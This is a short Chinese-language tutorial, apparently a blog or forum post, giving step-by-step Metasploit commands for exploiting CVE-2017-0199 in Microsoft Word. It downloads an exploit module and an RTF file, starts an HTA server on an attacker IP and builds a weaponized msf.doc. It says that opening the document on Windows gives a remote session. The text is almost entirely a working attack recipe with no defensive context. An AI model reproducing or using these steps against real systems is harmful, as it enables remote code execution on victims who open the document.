CVE-2017-0199漏洞 MSF利用过程

admin

下载利用脚本

1.        
   
2. root@kali:/usr/share/metasploit-framework/modules/exploits/windows/fileformat# wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb
   

复制代码

然后msf下执行命令reload_all重新加载模块

下载rtf文件到/usr/share/metasploit-framework/data/exploits目录

1. cd /usr/share/metasploit-framework/data/exploits
   
2. wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/data/exploits/cve-2017-0199.rtf

复制代码

开启HTA服务

1. msf > use exploit/windows/misc/hta_server
   
2. msf exploit(hta_server) > show options
   
3. msf exploit(hta_server) > run

复制代码

生成EXPLOIT文档

1. msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta
   
2. msf exploit(office_word_hta) > show options
   
3. msf exploit(office_word_hta) > set TARGETURI http://192.168.232.134:8080/4Jmy4cmcZZV7pwi.hta
   
4. msf exploit(office_word_hta) > set FILENAME msf.doc
   
5. msf exploit(office_word_hta) > run

复制代码

将生成的msf.doc文件复制到windows上，打开即可获取一个会话

如下所示

WIndows下结果

Kali下结果